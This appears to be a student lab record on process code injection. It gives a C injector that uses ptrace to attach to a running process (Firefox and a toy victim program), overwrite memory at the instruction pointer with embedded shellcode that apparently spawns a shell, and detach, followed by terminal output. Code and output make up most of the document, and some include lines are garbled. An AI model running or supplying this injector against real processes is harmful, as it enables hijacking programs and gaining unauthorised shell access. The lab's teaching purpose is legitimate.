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**Ex. No:5**

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## ***PROCESS CODE INJECTION***

### ***AIM:***

To do process code injection on Firefox using ptrace system call.

### ***ALGORITHM:***

1. Find out the pid of the running Firefox program.
2. Create the code injection file.
3. Get the pid of the Firefox from the command line arguments.
4. Allocate memory buffers for the shellcode.
5. Attach to the victim process with `PTRACE_ATTACH`.
6. Get the register values of the attached process.
7. Use `PTRACE_POKE TEXT` to insert the shellcode.
8. Detach from the victim process using `PTRACE_DETACH`

### **PROGRAM CODE:**

#### ***victim.c***

```
#include<stdio.h>

void main()
{
printf("Hi there!\n");
getchar();
}
```

#### ***injector.c***

```
#include <stdio.h> #
include <stdlib.h> #
include <string.h> #
include <unistd.h>
```

```
# include <sys/wait.h> # include <sys/ptrace.h> # include <sys/user.h>
char shellcode[]={ "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
"\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
```

```
};
void header()
{
    printf("----Memory bytecode injector-----\n");
}
int main(int argc,char**argv)
{
    int i,size,pid=0;
    struct user_regs_struct reg;
    char*buff;
    header();
    pid=atoi(argv[1]);
    size=sizeof(shellcode);
    buff=(char*)malloc(size);
    memset(buff,0x0,size);
    memcpy(buff,shellcode,sizeof(shellcode));
    ptrace(PTRACE_ATTACH,pid,0,0);
    wait((int*)0);
    ptrace(PTRACE_GETREGS,pid,0,&reg);
    printf("Writing EIP 0x%x, process %d\n",reg.rip,pid);
    for(i=0;i<size;i++){
        ptrace(PTRACE_POKETEXT,pid,reg.rip+i,*(int*)(buff+i));
```

```
}  
ptrace(PTRACE_DETACH,pid,0,0);  
free(buff);  
return 0;  
}
```

***OUTPUT:***

```
(JackSparrow@Captain)~  
$ firefox
```

```
(JackSparrow@Captain)~  
$ gcc injector.c -o injector  
  
(JackSparrow@Captain)~  
$ ps -e | grep firefox  
1711 pts/2    00:00:08 firefox-esr  
  
(JackSparrow@Captain)~  
$ ./injector 1711  
----Memory bytecode injector----  
Writing EIP 0x8000, process 1711
```

```
(JackSparrow@Captain)-[~]  
$ gcc victim.c  
  
(JackSparrow@Captain)-[~]  
$ gcc victim.c -o victim  
  
(JackSparrow@Captain)-[~]  
$ ./victim  
Hi there!
```

```
(JackSparrow@Captain)-[~]  
$ gcc injector.c -o injector  
  
(JackSparrow@Captain)-[~]  
$ ps -e | grep victim  
1693 pts/2    00:00:00 victim  
  
(JackSparrow@Captain)-[~]  
$ ./injector 1693  
----Memory bytecode injector----  
Writing EIP 0x8000, process 1693
```

### **RESULT:**

Thus, the process code injection on Firefox has been successfully executed.